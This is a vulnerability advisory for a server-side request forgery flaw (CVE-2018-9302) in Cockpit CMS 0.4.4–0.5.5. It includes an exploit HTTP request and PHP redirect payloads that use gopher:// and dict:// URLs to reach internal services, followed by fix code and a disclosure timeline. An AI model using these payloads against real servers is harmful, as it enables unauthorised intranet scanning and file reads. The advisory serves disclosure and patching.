Cockpit CMS 0.4.4 < 0.5.5 - Server-Side Request Forgery
# SSRF（Server Side Request Forgery） in Cockpit 0.4.4-0.5.5 (CVE-2018-9302) Cockpit CMS repairs CVE-2017-14611, but it can be bypassed, SSRF still exist, affecting the Cockpit CMS 0.4.4-0.5.5 versions.I've been tested success of "Cockpit CMS" lastest version. ## Product Download: Cockpit (https://getcockpit.com) ## Vulnerability Type：SSRF（Server Side Request Forgery） ## Attack Type : Remote ## Vulnerability Description You can edit a .php file on own server. The .php file's code example: <?php Header("Location: dict://127.0.0.1:3306/_0d%");?> ## Exploit Request: GET /assets/lib/fuc.js.php?url=http://myserver/redirect.php HTTP/1.1 Host: myserver Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8 referer:http://myserver/index.php Modify the redirect.php file on the attacker's server.example: <?php Header("Location: gopher://127.0.0.1:3306/_0d%");?> If the curl function is available,then use gopher、tftp、http、https、dict、ldap、imap、pop3、smtp、telnet protocols method，if not then only use http、https、ftp protocol scan prot,example: <?php Header("Location: dict://127.0.0.1:3306/");?> If the curl function is unavailable,this vulnerability trigger need allow_url_fopen option is enable in php.ini，allow_url_fopen option defualt is enable. ## Versions Product: Cockpit CMS 0.4.4-0.5.5 ## Impact SSRF (Server Side Request Forgery) in /assets/lib/fuc.js.php in Cockpit 0.4.4 through 0.5.5 allows remote attackers to read arbitrary files or send TCP traffic to intranet hosts via the url parameter. ## Fix Code The fix code example： $url = $_REQUEST['url']; $content = null; if (!filter_var($url, FILTER_VALIDATE_URL)) { header('HTTP/1.0 400 Bad Request'); return; } // allow only http requests if (!preg_match('#^http(|s)\://#', $url)) { header('HTTP/1.0 403 Forbidden'); return; } preg_match('/https*:\/\/(.+)/', $url, $matches); $host= count($matches) > 1 ? $matches[1] : ''; $ip = gethostbyname($host); //check private ip if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) { return } and modify the line 48 : curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 0); ## Credit This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC) ## References CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9302 ### Timeline: 2018-04-03 Found Cockpit CMS vulnerability. 2018-04-04 Submit vulnerability information to developers. 2018-04-05 Submit CVE-ID request 2018-04-28 Vendor no response, Public vulnerability information,Please Fix it. |